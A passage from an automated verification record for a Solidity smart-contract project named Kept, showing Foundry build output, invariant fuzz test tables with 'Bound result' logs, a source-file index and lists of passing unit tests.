test/KeptVaultActorsInvariant.t.sol:KeptVaultActorsInvariantTest\n[PASS]\nKeptVaultActorsInvariantTest invariants:\n[PASS] invariant_imdConserved\n[PASS] invariant_openCountMatches\n[PASS] invariant_rulesHold\n[PASS] invariant_teamTokensConserved\n KeptVaultActorsInvariantTest invariants (runs: 64, calls: 6400, reverts: 0)\n\n╭---------------+----------+-------+---------+----------╮\n| Contract      | Selector | Calls | Reverts | Discards |\n+=======================================================+\n| ActorsHandler | answer   | 596   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | check    | 565   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | clear    | 605   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | create   | 582   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | donate   | 599   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | fund     | 553   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | reprice  | 562   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | rotate   | 585   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | settle   | 583   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | wait     | 552   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | withdraw | 618   | 0       | 0        |\n╰---------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 700000000000008196\n  Bound result 1766\n  Bound result 21017\n  Bound result 40\n  Bound result 1\n  Bound result 860913\n  Bound result 20468\n  Bound result 12730\n  Bound result 15902\n  Bound result 1\n  Bound result 12871\n  Bound result 1\n  Bound result 700000000000003634\n  Bound result 10137\n  Bound result 2\n  Bound result 20982\n  Bound result 114\n  Bound result 20982\n  Bound result 114\n  Bound result 7845\n  Bound result 700000000000015803\n  Bound result 700000000000016162\n  Bound result 1\n  Bound result 860473\n  Bound result 834608682242094266405572\n  Bound result 1904081839772479143\n  Bound result 3\n  Bound result 2\n  Bound result 259200\n  Bound result 1\n  Bound result 84154\n  Bound result 1519338577213101\n  Bound result 1943390248827724407\n  Bound result 700000000000009183\n  Bound result 3\n  Bound result 2\n  Bound result 10969\n  Bound result 4\n  Bound result 4\n  Bound result 2624129724\n  Bound result 4\n  Bound result 1\n  Bound result 860541\n  Bound result 3198\n  Bound result 1463\n  Bound result 3\n  Bound result 862449\n  Bound result 14635\n  Bound result 862449\n  Bound result 14635\n  Bound result 862449\n  Bound result 14635\n  Bound result 3370\n  Bound result 3\n  Bound result 17645\n  Bound result 12729\n  Bound result 9947\n  Bound result 1\n  Bound result 2\n  Bound result 3\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 1243377696693487047\n  Bound result 2\n  Bound result 7\n  Bound result 1\n  Bound result 1285\n  Bound result 3\n  Bound result 11192\n  Bound result 2\n  Bound result 1\n  Bound result 6\n  Bound result 2\n  Bound result 1\n  Bound result 16112\n  Bound result 700000000000015062\n  Bound result 1\n  Bound result 3\n  Bound result 13025\n  Bound result 4908\n  Bound result 13025\n  Bound result 4908\n  Bound result 13025\n  Bound result 4908\n  Bound result 20431\n  Bound result 6\n  Bound result 1498\n  Bound result 700000000000005376\n  Bound result 28800\n  Bound result 4\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 372815452998599942\n  Bound result 6\n  Bound result 7\n  Bound result 5\n  Bound result 1\n  Bound result 5015\n  Bound result 7912\n  Bound result 997\n  Bound result 700000001792481867\n  Bound result 8\n  Bound result 14599\n  Bound result 42\n  Bound result 3\n  Bound result 9\n  Bound result 10265\n  Bound result 3\n  Bound result 47\n  Bound result 2\n  Bound result 5643657678917\n  Bound result 9\n  Bound result 3\n  Bound result 860761\n  Bound result 15255\n  Bound result 860761\n  Bound result 15255\n  Bound result 860761\n  Bound result 15255\n  Bound result 1820\n  Bound result 7\n  Bound result 8\n  Bound result 1337976678897077668\n  Bound result 95\n  Bound result 5\n  Bound result 7\n  Bound result 27\n  Bound result 700000000000009485\n  Bound result 10\n  Bound result 6718\n  Bound result 323760054516560257\n  Bound result 8\n  Bound result 3\n  Bound result 8\n  Bound result 616684279554989\n  Bound result 1149634294\n  Bound result 2\n  Bound result 860502\n  Bound result 17746\n  Bound result 860502\n  Bound result 17746\n  Bound result 15587\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.01s (6.01s CPU time)\n\nRan 2 tests for test/KeptHookInvariant.t.sol:KeptHookTokenFirstInvariantTest\n[PASS]\nKeptHookTokenFirstInvariantTest invariants:\n[PASS] invariant_clockOpensOnceAndFeeNeverRises\n[PASS] invariant_everySweptWeiReachesTheRefereeFund\n[PASS] invariant_feeIsExactAndOnlyOnIMD\n[PASS] invariant_holdingsEqualChargedPlusDonatedMinusSwept\n[PASS] invariant_supplyFixedAndManagerSolvent\n KeptHookTokenFirstInvariantTest invariants (runs: 128, calls: 16384, reverts: 0)\n\n╭-----------------+-------------------+-------+---------+----------╮\n| Contract        | Selector          | Calls | Reverts | Discards |\n+==================================================================+\n| KeptHookHandler | donate            | 1827  | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | dustSwap          | 1800  | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | liquidity         | 1875  | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | swap              | 5419  | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | sweep             | 1794  | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | sweepDuringUnlock | 1848  | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | wait              | 1821  | 0       | 0        |\n╰-----------------+-------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 465\n  Bound result 14959\n  Bound result 1024\n  Bound result 729\n  Bound result 120000\n  Bound result 16384\n  Bound result 2830\n  Bound result 89999999999999999910\n  Bound result 245\n  Bound result 7672441228782848704513\n  Bound result 5000000000000000000000000\n  Bound result 30\n  Bound result 9999999000000000000013635\n  Bound result 9986\n  Bound result 2272\n  Bound result 6716\n  Bound result 9999999000000000000002816\n  Bound result 432000\n  Bound result 17031\n  Bound result 5\n  Bound result 120\n  Bound result 7947984655214007800371\n  Bound result 554\n  Bound result 4078\n  Bound result 218\n  Bound result 9999999000000000000011052\n  Bound result 85\n  Bound result 5218\n  Bound result 127\n  Bound result 150000\n  Bound result 3806313402689471641550967\n  Bound result 5000000000000000000000000\n  Bound result 15289\n  Bound result 15595\n  Bound result 64\n  Bound result 8934\n  Bound result 10000000000000000000000\n  Bound result 83589740\n  Bound result 200000000000000002\n  Bound result 1097\n  Bound result 489\n  Bound result 9999999000000000000008454\n  Bound result 5261\n  Bound result 999\n  Bound result 1018\n  Bound result 13796\n  Bound result 198\n  Bound result 2000000000000000000\n  Bound result 330\n  Bound result 50079896377295214322432\n  Bound result 9999999000000000000018333\n  Bound result 1341244631419676713584934\n  Bound result 604800\n  Bound result 1811576279247095857152\n  Bound result 256935726\n  Bound result 9999999000000000000007615\n  Bound result 1479465802\n  Bound result 16271\n  Bound result 17538\n  Bound result 10000000000000000000\n  Bound result 3098404011343188253533\n  Bound result 8958\n  Bound result 242\n  Bound result 9999999000000000000340902\n  Bound result 8007\n  Bound result 1709164800\n  Bound result 4832716283019655932542974\n  Bound result 28\n  Bound result 2595073736608392\n  Bound result 40000000000000000000\n  Bound result 17963967801883375450\n  Bound result 4513109398571911139329433\n  Bound result 9174\n  Bound result 4382605163141518161494337\n  Bound result 3844601570\n  Bound result 3362700157007899182056602\n  Bound result 8948\n  Bound result 5824\n  Bound result 8685016218483\n  Bound result 2900570658082451291503225\n  Bound result 146097\n  Bound result 2912\n  Bound result 600\n  Bound result 14882\n  Bound result 282\n  Bound result 9000000000000000000\n  Bound result 249\n  Bound result 89999999999999999910\n  Bound result 1\n  Bound result 9999999000000000000000361\n  Bound result 15846\n  Bound result 200000000000000000000\n  Bound result 13396\n\n[PASS] test_handlerDustBuyIsChargedWithoutOpening() (gas: 627091)\nLogs:\n  Bound result 1000000000000000000000\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 6.31s (6.31s CPU time)\n\nRan 2 tests for test/VaultInvariant.t.sol:VaultHandlerSmokeTest\n[PASS]\nVaultHandlerSmokeTest invariants:\n[PASS] invariant_imdAccounted\n[PASS] invariant_settledMilestonesHaveOutcome\n[PASS] invariant_tokensConserved\n VaultHandlerSmokeTest invariants (runs: 128, calls: 16384, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| VaultHandler | answer   | 1799  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | check    | 1805  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | clear    | 1828  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | create   | 1783  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | donate   | 1845  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | fund     | 1806  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | settle   | 1814  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | wait     | 1874  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | withdraw | 1830  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 86936\n  Bound result 3521045371\n  Bound result 3\n  Bound result 860646\n  Bound result 2014\n  Bound result 860646\n  Bound result 2014\n  Bound result 860646\n  Bound result 2014\n  Bound result 10038\n  Bound result 2286\n  Bound result 1\n  Bound result 563811617509869948\n  Bound result 1\n  Bound result 221218\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2430097\n  Bound result 1\n  Bound result 20\n  Bound result 3\n  Bound result 16476\n  Bound result 482614076\n  Bound result 16476\n  Bound result 482614076\n  Bound result 16476\n  Bound result 482614076\n  Bound result 6018\n  Bound result 2\n  Bound result 1\n  Bound result 18\n  Bound result 2\n  Bound result 7200\n  Bound result 1482\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 10454\n  Bound result 121945\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 1561\n  Bound result 2\n  Bound result 2930611482754620689\n  Bound result 2\n  Bound result 9999\n  Bound result 9168\n  Bound result 9999\n  Bound result 9168\n  Bound result 9643\n  Bound result 1\n  Bound result 483\n  Bound result 3\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 3\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 5334\n  Bound result 2\n  Bound result 2\n  Bound result 512\n  Bound result 50\n  Bound result 4\n  Bound result 7749\n  Bound result 1195\n  Bound result 7749\n  Bound result 1195\n  Bound result 7749\n  Bound result 1195\n  Bound result 7749\n  Bound result 1195\n  Bound result 4\n  Bound result 2\n  Bound result 2\n  Bound result 860411\n  Bound result 1933\n  Bound result 860411\n  Bound result 1933\n  Bound result 787\n  Bound result 5\n  Bound result 816850279\n  Bound result 2\n  Bound result 1\n  Bound result 13254\n  Bound result 4\n  Bound result 861001\n  Bound result 17470\n  Bound result 861001\n  Bound result 17470\n  Bound result 861001\n  Bound result 17470\n  Bound result 861001\n  Bound result 17470\n  Bound result 65534\n  Bound result 6\n  Bound result 2080\n  Bound result 4\n  Bound result 1\n  Bound result 10000\n  Bound result 113990774883365614023793\n  Bound result 13026\n  Bound result 3\n  Bound result 4822\n  Bound result 5\n  Bound result 8475\n  Bound result 4\n  Bound result 4\n  Bound result 63811621033365261\n  Bound result 7\n  Bound result 9204\n  Bound result 6\n  Bound result 6\n  Bound result 2\n  Bound result 1\n  Bound result 4\n  Bound result 5\n  Bound result 6\n  Bound result 3\n  Bound result 42759\n  Bound result 3343\n  Bound result 4\n  Bound result 3\n  Bound result 81197870889137834\n  Bound result 6\n  Bound result 827948876024729362\n  Bound result 2\n  Bound result 4\n  Bound result 3\n  Bound result 6\n  Bound result 6\n  Bound result 11917\n  Bound result 4\n  Bound result 172800\n  Bound result 4\n  Bound result 11462\n  Bound result 16873\n  Bound result 11462\n  Bound result 16873\n  Bound result 11462\n  Bound result 16873\n  Bound result 11462\n  Bound result 16873\n  Bound result 12165\n  Bound result 2\n  Bound result 6\n  Bound result 1\n  Bound result 860427\n  Bound result 140877024194983170\n  Bound result 0\n  Bound result 9\n  Bound result 9\n  Bound result 7\n  Bound result 900\n  Bound result 9\n  Bound result 20448\n  Bound result 2\n  Bound result 3\n  Bound result 860491\n  Bound result 6287\n  Bound result 860491\n  Bound result 6287\n  Bound result 860491\n  Bound result 6287\n  Bound result 1222\n  Bound result 2\n  Bound result 2\n  Bound result 15107\n  Bound result 1\n  Bound result 6\n  Bound result 4512\n  Bound result 10\n  Bound result 10\n  Bound result 3\n  Bound result 142826\n  Bound result 16768\n  Bound result 142826\n  Bound result 16768\n  Bound result 142826\n  Bound result 16768\n  Bound result 7668\n  Bound result 10073\n  Bound result 8\n  Bound result 2082849318771142908\n  Bound result 6\n\n[PASS] test_handlerReachesPayoutAndBurn() (gas: 2028271)\nLogs:\n  Bound result 2\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 1\n  Bound result 259200\n  Bound result 259200\n  Bound result 1\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 12.07s (12.06s CPU time)\n\nRan 1 test for test/VaultInvariant.t.sol:VaultInvariantTest\n[PASS]\nVaultInvariantTest invariants:\n[PASS] invariant_imdAccounted\n[PASS] invariant_settledMilestonesHaveOutcome\n[PASS] invariant_tokensConserved\n VaultInvariantTest invariants (runs: 128, calls: 16384, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| VaultHandler | answer   | 1799  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | check    | 1805  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | clear    | 1828  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | create   | 1783  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | donate   | 1845  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | fund     | 1806  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | settle   | 1814  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | wait     | 1874  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | withdraw | 1830  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 86937\n  Bound result 1432\n  Bound result 1\n  Bound result 860646\n  Bound result 1799\n  Bound result 1599\n  Bound result 8886\n  Bound result 1\n  Bound result 563811617509869948\n  Bound result 1\n  Bound result 221218\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2430097\n  Bound result 1\n  Bound result 20\n  Bound result 3\n  Bound result 16387\n  Bound result 2018\n  Bound result 16387\n  Bound result 2018\n  Bound result 16387\n  Bound result 2018\n  Bound result 4725\n  Bound result 2\n  Bound result 1\n  Bound result 18\n  Bound result 2\n  Bound result 7200\n  Bound result 1482\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 9689\n  Bound result 121945\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 1260\n  Bound result 2\n  Bound result 14179\n  Bound result 2\n  Bound result 9999\n  Bound result 7915\n  Bound result 9999\n  Bound result 7915\n  Bound result 9901\n  Bound result 1\n  Bound result 483\n  Bound result 1\n  Bound result 3\n  Bound result 2\n  Bound result 3\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 3\n  Bound result 2\n  Bound result 5192\n  Bound result 2\n  Bound result 2\n  Bound result 512\n  Bound result 50\n  Bound result 4\n  Bound result 657055\n  Bound result 837\n  Bound result 657055\n  Bound result 837\n  Bound result 657055\n  Bound result 837\n  Bound result 657055\n  Bound result 837\n  Bound result 3827948867620184570\n  Bound result 2\n  Bound result 1\n  Bound result 860411\n  Bound result 1598\n  Bound result 843\n  Bound result 5\n  Bound result 816850279\n  Bound result 3\n  Bound result 1\n  Bound result 12956\n  Bound result 4\n  Bound result 861001\n  Bound result 17111\n  Bound result 861001\n  Bound result 17111\n  Bound result 861001\n  Bound result 17111\n  Bound result 861001\n  Bound result 17111\n  Bound result 5640186\n  Bound result 6\n  Bound result 453\n  Bound result 4\n  Bound result 1\n  Bound result 19446\n  Bound result 724564462853683301842943\n  Bound result 15320\n  Bound result 3\n  Bound result 6058\n  Bound result 5\n  Bound result 8836\n  Bound result 4\n  Bound result 4\n  Bound result 2451586\n  Bound result 6\n  Bound result 8631\n  Bound result 6\n  Bound result 6\n  Bound result 2\n  Bound result 1\n  Bound result 5\n  Bound result 5\n  Bound result 6\n  Bound result 3\n  Bound result 42759\n  Bound result 1999045244597275950\n  Bound result 4\n  Bound result 3\n  Bound result 2514405816469773012\n  Bound result 7\n  Bound result 1428941808163389768\n  Bound result 2\n  Bound result 4\n  Bound result 3\n  Bound result 6\n  Bound result 6\n  Bound result 10173\n  Bound result 2\n  Bound result 172800\n  Bound result 4\n  Bound result 10855\n  Bound result 16443\n  Bound result 10855\n  Bound result 16443\n  Bound result 10855\n  Bound result 16443\n  Bound result 10855\n  Bound result 16443\n  Bound result 5802\n  Bound result 2\n  Bound result 6\n  Bound result 1\n  Bound result 860427\n  Bound result 140877024194983170\n  Bound result 0\n  Bound result 9\n  Bound result 9\n  Bound result 7\n  Bound result 2999999999999999999\n  Bound result 9\n  Bound result 19446\n  Bound result 2\n  Bound result 3\n  Bound result 860491\n  Bound result 12065\n  Bound result 860491\n  Bound result 12065\n  Bound result 860491\n  Bound result 12065\n  Bound result 735\n  Bound result 10\n  Bound result 2\n  Bound result 2099132830298280222\n  Bound result 1\n  Bound result 6\n  Bound result 4429\n  Bound result 10\n  Bound result 10\n  Bound result 3\n  Bound result 7767\n  Bound result 7526768903561293616\n  Bound result 7767\n  Bound result 7526768903561293616\n  Bound result 7767\n  Bound result 7526768903561293616\n  Bound result 7635\n  Bound result 10134\n  Bound result 8\n  Bound result 2082849318771142908\n  Bound result 1\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.14s (12.14s CPU time)\n\nRan 23 test suites in 12.15s (41.39s CPU time): 205 tests passed, 0 failed, 1 skipped (206 total tests)\n","passed":true},{"durationMs":138,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KeptHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"KeptHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"KeptHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"KeptHook.sweep()\",\"KeptHook.unlockCallback(bytes)\",\"KeptToken.approve(address,uint256)\",\"KeptToken.transfer(address,uint256)\",\"KeptToken.transferFrom(address,address,uint256)\",\"KeptVault.cancelProtocol()\",\"KeptVault.check(uint256,uint8)\",\"KeptVault.check(uint256,uint8,uint256)\",\"KeptVault.clearStale(uint256,uint8)\",\"KeptVault.createPledge(address,address,string,(uint8,uint64,uint128,uint64,address,uint256,string,string,string)[],uint256)\",\"KeptVault.executeProtocol()\",\"KeptVault.fund(uint256,uint256)\",\"KeptVault.fundReferee(uint256)\",\"KeptVault.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"KeptVault.proposeProtocol(address,bytes32,address)\",\"KeptVault.setOwner(address)\",\"KeptVault.setPanel(uint16,uint16)\",\"KeptVault.settle(uint256,uint8)\",\"KeptVault.withdrawBudget(uint256)\"],\"files\":{\".gitattributes\":2,\".gitignore\":5,\"ADAPTATION.md\":162,\"README.md\":132,\"dist/apple-touch-icon.png\":8,\"dist/assets/ccip-CaZZqoFJ.js\":1,\"dist/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff\":60,\"dist/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2\":58,\"dist/assets/ibm-plex-mono-latin-500-normal-CB9ihrfo.woff\":51,\"dist/assets/ibm-plex-mono-latin-500-normal-DSY6xOcd.woff2\":62,\"dist/assets/ibm-plex-mono-latin-600-normal-BgSNZQsw.woff2\":78,\"dist/assets/ibm-plex-mono-latin-600-normal-DWFSQ4vo.woff\":53,\"dist/assets/index-C4mfrCCb.js\":36,\"dist/assets/index-TiwfCIFz.css\":1,\"dist/assets/secp256k1-BNTI0_yw.js\":1,\"dist/assets/swarm-DuldE8ej.js\":83,\"dist/assets/utils-Bpv4vmSW.js\":1,\"dist/favicon-32.png\":4,\"dist/favicon.svg\":5,\"dist/icon-512.png\":8,\"dist/index.html\":23,\"docs/ORACLE_PREFLIGHT.json\":384,\"docs/OUTREACH.md\":60,\"docs/SPEC.md\":156,\"docs/SUBMISSION.md\":81,\"docs/VERIFICATION.md\":227,\"docs/brand/generate_logos.py\":62,\"docs/brand/kept-avatar-400.png\":12,\"docs/brand/kept-avatar.png\":34,\"docs/brand/kept-avatar.svg\":7,\"docs/brand/kept-logo-dark.png\":54,\"docs/brand/kept-logo-dark.svg\":61,\"docs/brand/kept-logo.png\":70,\"docs/brand/kept-logo.svg\":61,\"docs/brand/kept-mark-dark.png\":38,\"docs/brand/kept-mark-dark.svg\":59,\"docs/brand/kept-mark.png\":126,\"docs/brand/kept-mark.svg\":59,\"docs/brand/kept-stamp.png\":215,\"docs/brand/kept-stamp.svg\":64,\"docs/brand/kept-x-banner.png\":790,\"docs/brand/kept-x-banner@2x.png\":2387,\"docs/launches/vault-2172.adaptation.md\":150,\"docs/launches/vault-2172.launch.json\":18,\"docs/research.md\":61,\"docs/screenshots/local-home-light.png\":833,\"docs/screenshots/local-home.png\":768,\"docs/screenshots/local-how.png\":310,\"docs/screenshots/local-make-pledge.png\":323,\"docs/screenshots/local-mobile.png\":242,\"docs/screenshots/local-pledge.png\":332,\"foundry.toml\":21,\"remappings.txt\":4,\"script/LocalDemo.s.sol\":111,\"scripts/launch/.gitignore\":2,\"scripts/launch/README.md\":61,\"scripts/launch/launch.mjs\":474,\"scripts/launch/package-lock.json\":248,\"scripts/launch/package.json\":14,\"src/KeptHook.sol\":218,\"src/KeptToken.sol\":60,\"src/KeptVault.sol\":664,\"src/OracleAttestation.sol\":239,\"src/interfaces/IIntake.sol\":18,\"src/libraries/HookFlags.sol\":30,\"src/libraries/Questions.sol\":250,\"src/libraries/SpecifiedAmount.sol\":101,\"test/KeptHook.t.sol\":282,\"test/KeptHookFailurePaths.t.sol\":288,\"test/KeptHookInvariant.t.sol\":358,\"test/KeptHookLaunch.t.sol\":120,\"test/KeptToken.t.sol\":89,\"test/KeptTokenInvariant.t.sol\":145,\"test/KeptVault.t.sol\":639,\"test/KeptVaultActorsInvariant.t.sol\":492,\"test/KeptVaultAudit.t.sol\":243,\"test/KeptVaultFailurePaths.t.sol\":642,\"test/KeptVaultLaunch.t.sol\":100,\"test/KeptVaultTokenCompatibility.t.sol\":49,\"test/OracleConformance.t.sol\":119,\"test/RealAttestation.t.sol\":66,\"test/VaultInvariant.t.sol\":228,\"test/fork/Robinhood.t.sol\":176,\"test/helpers/HookFixture.sol\":183,\"test/helpers/TestRouter.sol\":70,\"test/helpers/VaultFixture.sol\":190,\"test/mocks/FeeToken.sol\":27,\"test/mocks/MockERC20.sol\":58,\"test/mocks/MockIntake.sol\":64,\"vercel.json\":20,\"web/README.md\":76,\"web/index.html\":19,\"web/package-lock.json\":1015,\"web/package.json\":18,\"web/public/apple-touch-icon.png\":8,\"web/public/favicon-32.png\":4,\"web/public/favicon.svg\":5,\"web/public/icon-512.png\":8,\"web/src/abi/KeptHook.json\":658,\"web/src/abi/KeptToken.json\":244,\"web/src/abi/KeptVault.json\":1940,\"web/src/chain.js\":335,\"web/src/config.js\":30,\"web/src/dom.js\":84,\"web/src/fx.js\":325,\"web/src/hero.js\":149,\"web/src/icons.js\":42,\"web/src/main.js\":1410,\"web/src/store.js\":88,\"web/src/styles.css\":772,\"web/src/swarm.js\":586,\"web/src/ui.js\":219,\"web/vite.config.js\":42},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"73ddbef33839008cf97ac518a547641f3ea070c56f20e62818170756e0434b14","verifiedTreeHash":"1ea819ea1432036dad617ec9f64c1253dd71600d","verifierVersion":"0.1.0+fddeb651"},{"checks":[{"durationMs":85677,"exitCode":0,"name":"build","output":"Compiling 120 files with Solc 0.8.26\nSolc 0.8.26 finished in 85.58s\nCompiler run successful!\n","passed":true},{"durationMs":12180,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RealAttestation.t.sol:RealAttestationTest\n[PASS] test_liveSignatureRecoversTheLiveSigner() (gas: 12095)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 336.59µs (224.02µs CPU time)\n\nRan 1 test for test/fork/Robinhood.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 471.74µs (0.00ns CPU time)\n\nRan 1 test for test/KeptVaultActorsInvariant.t.sol:ActorsHandlerReachTest\n[PASS] test_handlerReachesEveryPath() (gas: 5595952)\nLogs:\n  Bound result 2\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 7200\n  Bound result 500000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 42\n  Bound result 259200\n  Bound result 259200\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.54ms (3.45ms CPU time)\n\nRan 2 tests for test/KeptVaultTokenCompatibility.t.sol:KeptVaultTokenCompatibilityTest\n[PASS] test_standardTokenSharedPledgesSettleAndRefundIndependently() (gas: 1956008)\n[PASS] test_unsupportedBalanceShrinkCanStrandLastTrancheAndBudget() (gas: 1167841)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 4.77ms (2.02ms CPU time)\n\nRan 43 tests for test/KeptVault.t.sol:KeptVaultTest\n[PASS] test_attestationCannotBeReplayedOnAnotherCheck() (gas: 1726979)\n[PASS] test_callbackOnlyFromIntake() (gas: 1254102)\n[PASS] test_callbackRejectsExpiredAttestation() (gas: 1264729)\n[PASS] test_callbackRejectsUnknownRequest() (gas: 1254900)\n[PASS] test_callbackRejectsWeakOrMismatchedAttestations() (gas: 1991894)\n[PASS] test_callbackRejectsWrongAnswerType() (gas: 1289194)\n[PASS] test_callbackRejectsWrongSigner() (gas: 1270836)\n[PASS] test_chainEvidenceAcceptsDeployerSettledVerdict() (gas: 1240396)\n[PASS] test_checkNeedsBudget() (gas: 1237961)\n[PASS] test_checkOpenReportsBudget() (gas: 543071)\n[PASS] test_checkPaysIntakeFromBudget() (gas: 1267661)\n[PASS] test_checkRejectsIntakeThatDoesNotPull() (gas: 1014807)\n[PASS] test_checkRejectsRepeatedRequestId() (gas: 1697655)\n[PASS] test_createPullsTokensAndBudget() (gas: 477341)\n[PASS] test_createRejectsBadQuestionStrings() (gas: 2756885)\n[PASS] test_createRejectsTaxedToken() (gas: 1114020)\n[PASS] test_createValidatesMilestones() (gas: 704836)\n[PASS] test_createValidatesPledge() (gas: 192120)\n[PASS] test_falseVerdictKeepsMilestoneOpen() (gas: 1861435)\n[PASS] test_inFlightCheckStaysBoundToItsIntake() (gas: 1486471)\n[PASS] test_isoDate() (gas: 41366)\n[PASS] test_keptPaysBeneficiaryAndReturnsBudget() (gas: 1528583)\n[PASS] test_keptRebatesFromRefereeFund() (gas: 1579314)\n[PASS] test_multiMilestoneMixedOutcomes() (gas: 3152001)\n[PASS] test_newChecksUseTheRotatedSigner() (gas: 1529920)\n[PASS] test_noRebateWhenFundIsShort() (gas: 1424042)\n[PASS] test_oneCheckInFlight() (gas: 1172688)\n[PASS] test_onlyBeneficiaryChecksBeforeDeadline() (gas: 1177243)\n[PASS] test_onlyBeneficiaryChecksEvenAfterDeadline() (gas: 1264896)\n[PASS] test_ownerHasNoPathToLockedTokens() (gas: 540546)\n[PASS] test_panelChangeOnlyAffectsNewPledges() (gas: 871407)\n[PASS] test_panelEvidenceNeedsQuorumAgreement() (gas: 1286460)\n[PASS] test_protocolChangeWaitsSevenDays() (gas: 224290)\n[PASS] test_questionBodies() (gas: 68804)\n[PASS] test_questionOfMatchesPreview() (gas: 496487)\n[PASS] test_settleBurnsAfterStaleLastCheck() (gas: 1368568)\n[PASS] 